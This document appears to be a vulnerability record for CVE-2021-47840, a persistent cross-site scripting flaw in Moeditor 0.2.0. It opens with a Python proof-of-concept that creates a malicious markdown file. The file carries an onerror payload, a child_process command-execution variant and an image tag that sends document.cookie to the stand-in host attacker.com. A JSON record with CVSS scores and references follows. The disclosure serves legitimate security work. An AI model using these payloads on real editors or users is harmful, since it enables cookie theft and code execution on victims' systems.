CVE-2021-47840

# CVE-2021-47840 PoC - Moeditor Persistent XSS # Create a malicious markdown file with embedded XSS payload malicious_content = ''' # Test Document ![XSS](https://example.com/image.jpg" onerror="alert(document.domain)) This is a test document. ''' # Save the malicious file with open('malicious.md', 'w', encoding='utf-8') as f: f.write(malicious_content) print('Malicious markdown file created: malicious.md') print('When opened in Moeditor, the JavaScript will execute') # Alternative payload for RCE (if nodeIntegration is enabled) rce_payload = ''' # Document <script> require('child_process').exec('calc.exe'); </script> ''' # HTML-based payload html_payload = ''' # Document <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)"> '''

{"cve": {"id": "CVE-2021-47840", "sourceIdentifier": "[email protected]", "published": "2026-01-16T19:16:09.700", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Moeditor 0.2.0 contains a persistent cross-site scripting vulnerability that allows attackers to store malicious payloads within markdown files. Attackers can upload specially crafted markdown files with embedded JavaScript that execute when opened, potentially enabling remote code execution on the victim's system."}, {"lang": "es", "value": "Moeditor 0.2.0 contiene una vulnerabilidad de cross-site scripting persistente que permite a los atacantes almacenar cargas útiles maliciosas dentro de archivos markdown. Los atacantes pueden subir archivos markdown especialmente diseñados con JavaScript incrustado que se ejecutan al abrirse, lo que podría permitir la ejecución remota de código en el sistema de la víctima."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://imgur.com/a/UdP4JaX", "source": "[email protected]"}, {"url": "https://moeditor.js.org/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49830", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/moeditor-persistent-cross-site-scripting", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/moeditor-persistent-cross-site-scripting", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}